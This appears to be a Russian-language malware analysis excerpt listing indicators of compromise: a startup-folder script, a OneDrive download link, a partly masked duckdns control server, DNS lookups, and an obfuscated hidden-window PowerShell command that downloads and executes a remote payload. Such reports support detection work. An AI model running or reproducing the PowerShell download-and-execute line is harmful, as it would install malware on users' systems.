Техническая информация
- %APPDATA%\microsoft\windows\start menu\programs\startup\hpscan.wsf
- https://onedrive.live.com/download?cid=ba50f5ca8e2d0c31&resid=ba50f5ca8e2d0c31%21246&authkey=agrnpypwfzbbie8
- 'wi######ffice.duckdns.org':1992
- 'on####ve.live.com':443
- 'bd####.#n.files.1drv.com':443
- DNS ASK on####ve.live.com
- DNS ASK bd####.#n.files.1drv.com
- DNS ASK wi######ffice.duckdns.org
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit [Byte[]]$sc64= iex(iex('(&(GCM *W-O*)Net.WebClient).DownloadString(''https://onedrive.live.com/download?cid=BA50F5CA8E2D0C31&resid=BA50F5CA8E2D0C31%21246&authkey=AGRnpYpwFZBBIE8'')'));[...' (со скрытым окном)